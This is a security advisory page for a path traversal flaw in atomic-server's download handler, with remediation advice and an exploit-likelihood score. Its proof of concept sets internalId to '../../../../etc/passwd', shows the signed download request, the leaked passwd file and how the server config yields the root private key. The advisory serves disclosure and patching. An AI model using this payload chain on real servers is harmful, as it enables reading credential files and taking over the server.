
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 0.30.0, <= 0.40.1
Details
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
server/src/handlers/download.rs:56-65 — file_path.push(internal_id) + NamedFile::open, no sanitization, no File-class check.lib/src/commit.rs (apply_changes) — sets any property; no server-managed-property denylist.Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
internalId to a traversal path — sign the Commit and POST /commit (200):subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
/download prefix → http://localhost:9883/pwnfile):GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
internalId = /atomic-storage/config/config.toml (absolute path) and download again:server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
signer = <root agent> → POST /commit (200) edits data as root. Full compromise.Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
download.rs: sanitize_filename(internal_id), then canonicalize and assert the resolved path stays within uploads_path before opening; verify the resource is a File.internalId, rights arrays, etc.) in lib/src/commit.rs so clients cannot set them.EPSS, exploit probability
Low0.49%
estimated chance of real-world exploitation in the next 30 days, higher than 42.9% of every CVE FIRST.org scores
Refreshed 11/18/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More rust advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.